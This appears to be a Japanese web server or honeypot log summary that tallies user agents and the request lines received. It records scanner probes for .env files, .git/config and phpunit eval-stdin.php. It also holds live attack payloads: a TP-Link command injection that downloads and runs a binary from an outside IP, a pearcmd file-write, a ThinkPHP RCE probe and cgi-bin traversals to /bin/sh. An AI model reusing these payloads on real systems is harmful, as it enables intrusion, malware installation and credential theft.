10 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0 [ip:194.183.69.38]
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
33 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.145 Safari/537.36 Vivaldi/2.6.1566.49
15 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
4 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
1 Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http[:]//archive[.]org/details/archive.org_bot)
10 Mozilla/5.0 zgrab/0.x
3 Mozilla/5.0
1 SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1
1 python-requests/2.25.1
2 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_13.67.44.234_80
1 \x03
1 \x16\x03\x01\x01\x03\x01
3 \x16\x03\x01\x01\x07\x01
13 \x16\x03\x01
1 CONNECT pro.ip-api[.]com:443 HTTP/1.1
17 GET /.env HTTP/1.1
7 GET /.git/config HTTP/1.1
1 GET /13.67.44.234/.env HTTP/1.1
2 GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /Temporary_Listen_Addresses/ HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /autodiscove/ HTTP/1.1
1 GET /autodiscover/ HTTP/1.1
1 GET /autodiscover/autodiscover/ HTTP/1.1
1 GET /autodiscover/autodiscovers/ HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]169[.]11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /conf/.env HTTP/1.1
2 GET /config.json HTTP/1.1
1 GET /console HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /database/.env HTTP/1.1
2 GET /debug/default/view?panel=config HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1
1 GET /ews/autodiscovers/ HTTP/1.1
1 GET /ews/ews/ HTTP/1.1
1 GET /ews/exchange/ HTTP/1.1
1 GET /ews/exchanges/ HTTP/1.1
9 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /library/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /new/.env HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /old/.env HTTP/1.1
1 GET /owa/auth/x.js HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wsman HTTP/1.1
1 GET /www/.env HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
4 PRI * HTTP/2.0